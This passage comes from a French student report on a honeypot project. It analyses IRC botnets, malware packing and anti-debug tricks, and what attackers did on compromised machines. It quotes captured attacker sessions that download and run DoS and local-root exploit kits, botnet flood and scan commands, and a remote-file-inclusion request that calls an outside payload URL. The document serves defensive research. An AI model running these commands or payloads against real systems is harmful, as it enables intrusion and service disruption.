sur le web une centaine de patchs qui ajoutent chacun leur lot de fonctions malveillantes telle que la récupération des saisies clavier de l’utilisateur piraté. – RBot RBot est un robot assez récent, dont la base est écrite en ruby et publiée sous licence GPL. Comme pour SDBot, ceux sont les modifications apportées par les pirates qui ont fait passer le robot du coté obscure de la force. Ainsi, plusieurs variantes circulent sur la toile implémentant des actions qui vont du simple DDoS à la désactivation de services en passant par l’envoi massif de mails. On peut remarquer qu’au niveau des actions, on retrouve la récupération des saisies claviers et la correction des vulnérabilités, deux fonctionnalités qui peuvent faire très mal que nous ne retrouvons pas encore dans les robots dédiés aux systèmes UNIX. La méthode de propagation, lancée par le maître du robot à partir d’IRC, consiste à scanner une plage d’adresses IP, aléatoire ou donnée, afin de tenter l’exploitation de différentes vulnérabilités rassemblées dans le tableau suivant. Vulnérabilité Description Année Dameware Buffer overflow dans l’username 2005 NetBIOS Session IPC nulle autorisée 2004 Lsass Stack overflow dans le service LSASS 2004 RPC-DCOM Buffer overflow dans les noms de fichier DCOM 2003 De plus, pour se propager, ces robots n’hésitent pas à utiliser les portes dérobées laissées par des virus/vers comme blaster, sasser, bagle ou MyDoom. Les réseaux constitués de zombies tournant sous windows sont très gros et l’infiltration de ceux-ci reste une tâche difficile en raison des actions proposées par les robots qui sont difficiles à émuler. 48 Analyse de binaires 5 RÉSULTATS Empêcher l’analyse et contrer les antivirus Contrairement aux binaires malveillants dédiés aux systèmes UNIX, les binaires sous windows intègrent des méthodes très avancés pour contourner les antivirus et décourager les petits gars qui désirent jouer avec le code assembleur. Les techniques mises en oeuvre proviennent essentiellement des talentueux créateurs de virus et les passionnés de la rétroingénierie. Nous avons pu rencontrer les méthodes suivantes. Packer Les packers sont des utilitaires dont le rôle consiste à compresser et/ou crypter un programme exécutable. Au moment de son exécution, un programme ainsi passé entre les mains d’un packer basique se charge en mémoire, compressé et/ou encrypté, puis s’autoexpanse gràce à quelques routines situées au point d’entrée du programme pour, enfin, s’exécuter. Le monde des packers a très évolué ces dernières années et nous sommes passées du simple compresseur d’exécutable comme UPX qui fut le premier de la génération à des packers ultra-puissants intègrant des algorithmes de cryptographie avancés (AES, BlowFish), du polymorphisme, un déchiffrement instruction par instruction... Un exemple de cette nouvelle génération de packer est Themida, qui est largement utilisé pour détourner les antivirus et éloigner les regards des consultants en sécurité. Un binaire malveillant packé avec Themida résiste à pratiquement tous les antivirus. Seulement une mineur partie de ces programmes de sécurité le détectent comme malveillant pour la simple raison qu’il est packé avec Themida, un packer, pas encore officiellement casser, qui implémente pleins de fonctionnalités intéressantes. F IG . 23: Binaire packé avec Themida – – – – – – – – Techniques anti-debug Techniques anti-tracage Techniques empêchant le dump de la mémoire en ring0 et ring3 Techniques d’obfuscation du code assembleur Basé sur une machine virtuelle Algorithme proprétaire de crypto Plantage des plus grands débuggeur ... On retrouve également des binaires packés à la main avec une simple routine qui réalise un ou-exclusif sur tous les octets du programme avant de les exécuter comme on peut le voir sur la capture 24 prise dans OllyDbg. On peut voir que le programme appelle (004DF00E) directement une routine qui parcourt la mémoire et fait un xor des opcodes rencontrés avec la clef 0x0D. 49 Analyse de binaires 5 RÉSULTATS F IG . 24: Routine d’un packer maison Tromper OllyDBG Les entêtes PE20 des binaires sont modifiées pour tromper les débuggeurs tels que OllyDBG ou WinDBG sans pour autant altérer leurs exécutions. Ainsi la figure 25 montre comment OllyDBG s’est fait avoir avec une entête PE falsifiée et se trompe sur le point d’entrée du programme. F IG . 25: OllyDBG dans les choux Obfuscation du code Une autre technique, aussi utilisée dans le monde des UNIX, consiste à masquer des intructions assembleur au débuggeur par des méthodes d’obfuscation. Pour cela, le créateur place au milieu des instructions assembleur des sauts qui passent au dessus de chaînes ASCII représentant des débuts d’instructions assembleur. Les débuggeurs, pas futé comme OllyDBG, risquent d’interpréter ces chaînes comme des instructions assembleur et va perdre son alignement pour interpréter les prochaines instructions qui seront faussées. Au contraire, IDA Pro détecte ce genre de méthode sans problème. Dans la capture d’IDA 27, on s’aperçoit que l’instruction rep mov ecx, edx n’est pas masqué par la chaîne db 65h, 36h alors qu’elle l’est sous OllyDBG qui interprète la chaîne 20 Portable Executable 50 Comportement des pirates 5 RÉSULTATS F IG . 26: Obfuscation dans OllyDBG F IG . 27: Obfuscation dans IDA PRO comme les instructions prefix et ne retrouve plus le rep mov ecx, edx. On peut en conclure que l’analyse des binaires malveillants sous windows est un art réservé à l’élite puisque ces derniers implémentent toutes les protections imaginables qui peuvent laisser un homme éveiller plusieurs nuits. Comportement des pirates Beaucoup de personnes expliquent le déroulement des attaques sur internet en se limitant uniquement à des connaissances théoriques ou à des "on dit". . .Un avantage avec les honeypots est qu’il est possible de connaître exactement les méthodes utilisées par les pirates pour compromettre des systèmes informatiques, leurs motivations ainsi que leurs comportements face à la machine compromise. Cette sous-section décrit ces quelques élements à travers l’étude des attaques subites sur les honeypots ainsi que l’étude du trafic IRC. Types d’attaques Dans le monde de la sécurité, il existe essentiellement deux types d’attaques, celles dites passives qui consistent à écouter le réseau pour dégager des informations intéressantes et celles dites actives qui nécessitent l’action du pirate. Les attaques passives sont difficilement détectables et ne seront pas traitées ici. En effet, ces dernières sont plus difficiles à mettre en oeuvre et demandent plus de temps et de patience aux pirates. Ainsi après compromission d’une machine, aucun pirate n’a tenté d’écouter le trafic pour éventuellement récolter des informations provenant d’autres machines du réseau local. 51 Comportement des pirates 5 RÉSULTATS Sur le réseau leurré, seul des attaques actives ont été identifiées. Parmi elles, on retrouve les déni de services qui visent à interdire à une machine d’accéder à une ressource. Cela peut aller du blocage de la connexion pendant quelques secondes, du plantage d’un processus tel que celui qui gère les requêtes HTTP (apache) ou même du noyau en lui même. Beaucoup d’outils permettant ce genre d’attaque sont facilement trouvable sur internet et leur utilisation est un jeu d’enfant comme on peut le voir sur la session ssh relevée sur une machine. bash-2.05# lynx www.bios10h.go.ro/flood.tar.gz bash-2.05# tar xzvf flood.tar.gz (...) flood/bin/bonk flood/bin/winnuke flood/bin/vadimII (...) bash-2.05# cd flood bash-2.05# ./flood usage : ./flood <host> <type of attack> example : ./flood linux.com 6 (for a teardrop attack against linux.com) bash-2.05# ./flood 88.88.99.66 23 Le pirate télécharge une archive flood.tar.gz qui contient une multitude d’outils qui réalisent chacun une attaque par déni de services bien précise. Ces outils sont commandées par le script flood dont une partie du contenu est présentée ci dessous. bash-2.05b$ cat flood #!/bin/sh if [ "$1" = "" ]; then echo "" echo " flood vBETTA 00.2 : a DoS pack " echo " by Zorg http://wget.home.ro " echo " wget*home.ro " (...) echo " usage : $0 <host> <type of attack> " (...) if [ "$2" = 3 ]; then echo " Hanson : This program exploits mIRC’s bound sockets" exec bin/hanson $1 139 fi (...) if [ "$2" = 23 ]; then echo " vadimII DoS Attack " exec bin/vadimII $1 80 10 0 fi Ce script ne fait qu’exécuter un programme en fonction de l’attaque spécifiée en argument (deuxième). On retrouve les traditionnels "ping flood", "ping de la mort", "win nuke"... Ici, notre pirate décide de s’attaquer à la machine 88.88.99.66 en utilisant l’attaque numéro 23 soit le programme vadimII qui un simple flooder qui envoi une quantité infinie de paquets TCP SYN de 10 octets sur le port 80 de la machine en usurpant son adresse IP par l’adresse 127.0.0.1 dans le but de rendre inaccessible les services web proposés. 52 Comportement des pirates 5 RÉSULTATS Qui sont les victimes des DoS ? Les dénis de services sont généralement à l’origine d’un conflit ou d’un duel entre deux pirates, qui sera le premier à mettre hors service son rival ? Ainsi nous n’avons vu aucun serveur connu se faire attaquer par ce type d’attaque d’autant plus qu’elles ne sont pas assez puissantes pour qu’une seul machine puisse faire tomber un serveur. Pour faire mal à un serveur tel que ceux de yahoo ou google, il faudrait plusieurs millions de pc avec de bonne connexion sous les ordres de pirates assez expérimentés pour le choix de l’attaque. C’est ce qui est arrivé à yahoo il y a quelques années où un jeune pirate à la tête d’un gigantesque botnet a lancé une attaque contre les serveurs web du moteur de recherche. En effet, en analysant les sessions IRC enregistrées sur des channels de botnet, on retrouve des commandes qui ordonnent aux zombies de lancer ce type d’attaque. <xeQter> !x @udp 213.168.230.66 500 500 <readd789> (UDP DDoSing) Attacking^B: 213.168.230.66 - Time: 500seconds <Clubs> (UDP DDoSing) Attacking^B: 213.168.230.66 - Time: 500seconds <curpos291> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds <nsa> (UDP DDoSing) Attacking: 213.168.230.66 - Time: 500seconds (...) xeQter, le gourou du botnet, donne l’ordre à ses disciples de mettre à mal la machine ayant pour adresse 213.168.230.66 en envoyant une multitude de paquets UDP sur le port 500 et pendant 500 secondes. La machine 213.168.230.66 est alors inondé par les paquets UDP de tous les zombies et devrait être dans l’incapacité de répondre aux requêtes légitimes et ainsi de communiquer avec d’autres machines. Avec un whois on s’aperçoit que l’adresse IP appartient au groupe TelecityRedbus, un FAI d’Irlande et qu’elle ne propose aucun service. On peut alors supposer qu’un réglement de compte entre pirates se cachait derrière cette attaque. Le second type d’attaques actives rescencé sur notre réseau leurré sont les exploitations à distance de vulnérabilités visant les systèmes d’exploitation ou les services proposées. L’outil SnortSnarf permet de dégager des statistiques depuis les logs générés par l’IDS21 snort mis en place sur l’honeynet. F IG . 28: TOP3 snort La figure 28 montre les 3 principales attaques subites sur les honeypots et surprise, on ne retrouve que des attaques visant le système d’exploitation de Redmond et plus particulièrement le service NetBIOS. En effet, ce service est connu pour être activé par défaut sur les machines et est connu pour ses failles simples à exploiter. Les pirates ainsi 21 Intrusion Detection System 53 Comportement des pirates 5 RÉSULTATS que les vers ne s’embêtent pas à chercher à exploiter une faille dans un service ou système très peu utilisé, leur but primaire est de compromettre le plus de machines possibles en faisant le minimum d’effort. Même si les failles dans le service NetBIOS présentes dans ce TOP3 sont aujourd’hui anciennes et patchées, le nombre de machines encore vulnérables est largement supérieure face à une faille récente dans un système d’exploitation peu répandu comme la faille qui touche la pile IPv6 d’OpenBSD parrue en Mars 2007 et qui permet l’exécution de code à distance. Ce phénomène est confirmé par l’étude des logs de webtrap où on peut voir qu’une faille dans le CMS22 mambo datant de fin 2005 a été exploité 23658 fois. bash-2.05b$ grep serverstat webtrap-report-* | wc -l 23658 Les failles dans les applications PHP sont très répandues et leur exploitation est simple et générique. Ainsi les principaux botnets intègrent une fonction qui permet de mettre à jour une liste d’url vulnérables à des failles de type include, une faille dangereuse qui résulte de la mauvaise utilisation de la fonction include() et de ses cousines dans un script et permettant l’interprétation de code arbitraire sur le serveur web. La session IRC suivante enregistrée au sein d’un botnet montre un exemple d’utilisation de ces fonctions. <xeQt> !x !eval @gstring=’flashchat’; <xeQt> !x @ws 300 /inc/cmses/aedatingCMS2.php?dir[inc]= (...) <xeQt> !x !eval @gstring=’joomla+mgm’; <xeQt> !x @ws 300 /administrator/components/com_mgm/help.mgm.php? mosConfig_absolute_path= <mowgli> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php? mosConfig_absolute_path= <Nozz-8228> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php? mosConfig_absolute_path= <vCrew> (wScan)(Scanning: /administrator/components/com_mgm/help.mgm.php? mosConfig_absolute_path= (...) Le maître du botnet demande à ses zombies d’effectuer une recherche sur google avec les requêtes "flashchat" et "joomla+mgm" puis de lancer une attaque de type include vers une URL bien précise pour chaque site renvoyé par le moteur de recherche. Dans notre cas, le pirate tente d’exploiter une faille include dans le plugin mgm de joomla, pour cela il donne à ses zombies uniquement le nom du script (help.mgm.php), son emplacement par rapport à la racine du site web ainsi que la variable vulnérable et les zombies vont inclure automatiquement le script malveillant dans cette variable. La faille venait d’être publiée quelques minutes auparavant sur bugtraq, le pirate n’a eu qu’à lire l’avis publié pour déterminer les informations à spécifer aux zombies. Ainsi le rapport machines compromises sur la puissance nécessaire à l’exploitation est largement en faveur du pirate. En résumé, on peut dire que les pirates utilisent essentiellement des attaques pour faire du profit, c’est à dire qui lui donnent un accès sur la machine vulnérable et qu’ils visent des vulnérabilités faciles à exploiter, courantes et pas forcement récentes. 22 Content Management System 54 Comportement des pirates 5 RÉSULTATS Que font-ils après une compromission réussie ? Même si une multitude de pirates, venant des quatres coins du globe, ont rendu visite aux honeypots pendant la durée du projet, on peut remarquer que les premières actions qu’ils effectuent sur la machine après compromission sont sensiblement toujours les mêmes. – Identification du système Le pirate aime bien avoir des informations sur le système qu’il vient de pénétrer. Pour cela il exécute les commandes uname -a pour avoir une idée du système d’exploitation et sa version puis il fait un tour dans le système de fichiers virtuel /proc pour récolter des informations sur la mémoire physique (meminfo) et le processeur (cpuinfo). Ces informations permettent au pirate de savoir quels services il lancera ou non sur cette machine. – Elévation de privilège Si le pirate n’a pas obtenu les droits de super-utilisateur à la première attaque, il va tout faire pour gagner ces droits. Pour cela, il utilise les informations récoltées précédement et va essayer une multitude de programmes exploitant des failles en local du noyau généralement jusqu’à avoir le temps attendu uid=0. L’exemple ci-dessous montre une session ssh enregistée sur un des honeypot. [user@paf user]$ wget www.int10h.ru/root/Linux-2006.tar.gz [user@paf user]$ tar zxvf Linux-2006.tar.gz [user@paf user]$ cd local2006 [user@paf local2006]$ ./ave Local Root exploit based on do_brk and do_munmap (...) [user@paf local2006]$ id [user@paf user]$ ./0 [user@paf user]$ ./x Le pirate télécharge une série d’exploits pour le kernel 2.6 et les exécutent un par un en glissant un id à chaque exécution pour savoir si l’exploit lui a donné les droits de super-utilisateur. Manque de chance, il a dû oublier qu’il était sur un kernel de la série 2.4. Il a fini par perdre patience et quitter la machine. Il est parti à la conquête d’une autre cible. – Correction de la faille Pour empécher que d’autres pirates puissent exploiter la même faille et rester seul sur la machine, le pirate tente toujours de corriger la vulnérabilité qu’il a exploité. Pour cela il utilise divers techniques qui peuvent aller jusqu’à la modification du noyau dans la mémoire depuis le périphérique /dev/kmem ou depuis un module noyau (LKM23 pour Linux) pour les pirates les plus expérimentés. Malheureusement, sur notre réseau leurré, la correction de faille ne s’est limitée qu’à la modification du mot de passe du compte piraté. En effet, aucun pirate n’a tenté de tuer ou de patcher le telnetd vulnérable. 23 Linux Kernel Module 55 Quelques statistiques 5 RÉSULTATS – Garder l’accès et masquer son activité Une fois la faille corrigée, pour pouvoir revenir sur la machine, le pirate installe une porte dérobée que nous avons étudié dans la section 5. Ces programmes, dans leur version la plus simple, ouvrent un port TCP qui donne accès à un shell à distance. Certains de ces programmes sont plus furtifs dans le sens où ils écoutent le réseau et dès qu’une suite bien précise de paquets arrivent sur la machine, le processus qui gère le shell distant est lancé et le port TCP est mis en écoute qu’a partir de ce moment là. En plus de s’assurer de garder un accès sur la machine, le pirate va également chercher à masquer son activité sur la machine pour garder le plus longtemps possible la main mise sur la machine. Pour cela, il utilise des programmes que l’on appelle communément rootkits qui contiennent un atirail d’outils qui ont pour rôle de masquer les connexions du pirate, les fichiers créés, les processus lancés... Ils existent essentiellement deux types de ces kits, les plus anciens comme celui étudié dans la section 5 qui se lance en espace utilisateur et qui consiste à modifier les binaires livrés avec un système unix de base tels que ls, netstat, ps... les plus récents s’attaquent directement au noyau pour modifier les appels systèmes utilisés par les programmes en espace utilisateur tels que sys_read, sys_getdents. Alors que les premiers sont facilement détectables avec des sommes de contrôle sur les binaires (tripwire, samhain), les seconds utilisent des techniques plus sofistiquées pour se camoufler et il est ainsi plus dur d’en détecter la présence. Il existe cependant des programmes spécialisés dans la recherche d’anomalies dans l’espace kernel comme zeppoo, chkrootkit... – Effacement des traces Pour masquer les preuves de la compromission, le pirate touche aux logs générés pendant et après l’attaque pour pas que l’administrateur ou un analyseur de logs tombent dessus. Pour cela, il peut falsifier les logs avec de fausses données, inonder le système de logs ou tout simplement supprimer les lignes qui le concerne dans les différents fichiers de logs comme le fait le script shell livré avec le rootkit t0rn vu précédement. Quelques statistiques Depuis les logs récoltés par les différents outils mis en place sur les honeypots nous pouvons sortir plusieurs informations sur les pirates. Cette sous-section met en valeur quelques unes de ces informations en affichant des graphiques générés à l’aide d’un script python et de la librairie matplotlib. Origines En enregistrant les adresses IP des attaquants comme le fait le web honeypot webtrap, on peut réaliser un whois pour découvrir l’origine de ces derniers, c’est ce que fait la librairie python GeoIP. Le graphique figure 29 met en valeur les principales provenances des attaques subies 56 Quelques statistiques 5 RÉSULTATS F IG . 29: Origine des pirates sur les différents honeypots. On peut remarquer que la plupart des attaques proviennent des Etats-Unis qui possède la plus grosse allocation d’adresses IP. Ensuite nous retrouvons la France, le pays dans lequel les honeypots se trouvent, la Roumanie, connue pour ses pirates, l’Allemagne, le Royaume-Unis, la Hollande, des pays proches de la France. En effet, dans les programmes automatisés, la plage d’adresses IP est déduite de l’adresse de la machine victime qui lance le scanneur ou celle du pirate s’il le lance depuis sa propre machine. 57 Quelques statistiques 5 RÉSULTATS Navigateurs F IG . 30: Navigateur des pirates Au niveau des navigateurs, firefox est, sans aucun doute, le plus utilisé par les pirates suivi par Opera. libwww-perl n’est pas un navigateur mais une librairie perl permettant de manipuler facilement le protocole HTTP et est utilisée par la plupart des scanneurs de failles web. Morfeus est un scanneur de failles PHP connues sur le net sous le nom de "Morfeus Fucking Scanner". Internet Explorer ne semble pas être très utilisé par les pirates qui sont vraisemblablement soucieux de leur sécurité même si plusieurs d’entre eux utilisent encore la suite Mozilla, versions 4.0 et 5.0, qui n’est plus maintenue depuis plus d’un an et qui contient pas mal de failles de sécurité. On peut imaginer l’implémentation dans webtrap de la génération de pages exploitants les failles des navigateurs des pirates mais dans ce cas, nous nous heurterons à des problèmes juridiques. 58 Quelques statistiques 5 RÉSULTATS Applications PHP F IG . 31: Applications php Le fichier PHP le plus ciblé est le fichier install.serverstat.php que l’on trouve dans le CMS mambo qui s’appelle aujourd’hui joomla. Ce fichier contient, dans les versions 0.4.4 et antérieures, une faille de type include au niveau de la variable mosConfig_absolute_path permettant l’exécution de code PHP à distance. Le détail de la requête exécutée par les pirates confirment bien l’inclusion de scripts (lol1.txt ici) PHP à distance. /mambo/admin/administrator/components/com_serverstat/install.serverstat.php? mosConfig_absolute_path=http://www.ortaksohbet.com/lol1.txt? Dans les scripts les plus appelés, on retrouve aussi les scripts d’administration comme shell.php ou phpshell.php qui servent à administrer un serveur à distance en ayant un interpréteur de commande à partir du navigateur. Les pirates cherchent ce genre de programme qui sont souvent placés sans protection sur des sites web par les administrateurs. 59 Quelques statistiques 5 RÉSULTATS Google F IG . 32: Requêtes google Le graphique figure 32 montre les requêtes renseignées dans le moteur de recherche google pour arriver sur l’honeypot webtrap. On remarque que les pirates n’hésitent pas à utiliser des requêtes google avancées en utilisant des mots clef tels que inurl qui permet de rechercher une chaîne de caractère dans une URL ou intitle qui permet de rechercher dans les titres des pages uniquement. Dans les premières positions, nous retrouvons les requêtes qui permettent d’accéder à des fichiers textes tels que pass.txt ou master.passwd qui pourraient contenir des mots de passes. On retrouve également les requêtes qui permettent de rechercher la présence de scripts php sensibles comme phpshell.php que nous avons vu précédement. 60 Quelques statistiques 5 RÉSULTATS Systèmes d’exploitation En ce qui concerne le système d’exploitation des pirates, nous pouvons utiliser le programme p0f qui va étudier passivement les paquets capturés pour déterminer le système d’exploitation de chaque adresse IP. Pour faire cela il se base sur les différences des piles TCP/IP de chaque système d’exploitation. À l’aide d’un petit script en python, nous pouvons aisément récupérer la liste des systèmes d’exploitations les plus utilisés par les pirates. bash-2.05b$ p0f -s pcap.dump | grep -v distance > oses bash-2.05b$ python p0fstat.py oses Solaris 10 - 1/203 FreeBSD 5.3-5.4 - 2/203 NMAP OS detection probe - 2/203 FreeBSD 6.x - 5/203 Windows XP SP1+, 2000 SP3 - 5/203 FreeBSD 4.6-4.9 - 5/203 Linux 2.6? - 6/203 Windows 2000 SP2+, XP SP1+ - 9/203 Linux 2.6 - 16/203 Windows 2000 SP4, XP SP1+ - 20/203 UNKNOWN - 26/203 Linux 2.4-2.6 - 51/203 Linux 2.6, seldom 2.4 - 56/203 Linux semble être le système d’exploitation le plus usité chez les pirates même si on retrouve du Microsoft avec windows XP et 2000 pas très loin. Les rumeurs stipulant que FreeBSD est de plus en plus utilisé sont confirmées par ce listing qui place FreeBSD en troisième position devant Solaris, MacOSX. Le "NMAP OS détection probe" signifie qu’une personne à lancer une détection de système d’exploitation à distance à l’aide du scanneur nmap. Binaires récupérés Le tableau suivant montre quelques statistiques sur les scripts ou les binaires récupérés sur les différents pots de miel. Type Quantité Taille Éxecutables win32 150 45mo Binaires unix 21 4.8mo Scripts php, perl, python... 720 11.8mo Éxecutables non-détectés par clamAV 27 12.2mo On peut remarquer quand même que 27 binaires sur les 150 au total ne sont pas détectés par l’antivirus libre, clamAV, alors qu’ils réalisent des actions malveillantes sur le système vulnérable. 61 8 6 REMERCIEMENTS Conclusion À travers ce projet, tous les intérêts que peuvent présenter la mise en place de pots de miel dans un réseau informatique ont été mis en avant. Les pots de miel sont les outils idéaux pour étudier le comportement, les tactiques et les motivations des pirates informatiques et ainsi se prémunir efficacement des attaques de ces derniers. Il faut cependant garder à l’esprit que les honeypots visent à attirer les pirates sur son réseau informatique et que la décision de déployer se genre de réseau leurré ne doit pas être prise à la légère. Les objectifs doivent être clairement définis car même si couplé à un IDS, ils représentent un outil très efficace, leurs configurations et leurs manipulations restent très délicates et une erreur peut se répercuter sur le réseau de production. Même si les pots de miel sont encore assez jeunes et réservés aux experts de la sécurité, ils représentent d’ores et déjà une technologie très prometteuse dans la lutte contre la cybercriminalité. 7 Bilan personnel Ce projet a réellement été très instructif pour moi. J’en ai tiré des méthodes de programmation (matplotlib), des informations sur le monde underground d’aujourd’hui, des contacts avec des grandes personnes de la sécurité informatique... Je suis persuadé que les connaissances acquises durant ce projet me serviront dans un avenir proche et seront un plus pour décrocher mon premier emploi dans la sécurité informatique. 8 Remerciements Je remercie Monsieur Hemery, pour avoir accepter ma proposition de projet et pour son aide. Je tiens également à adresser plus généralement un grand merci à toutes les personnes qui se battent pour mettre l’information disponible librement sur internet. "Greets c to all people who fight for free knowledge" anonymous. 62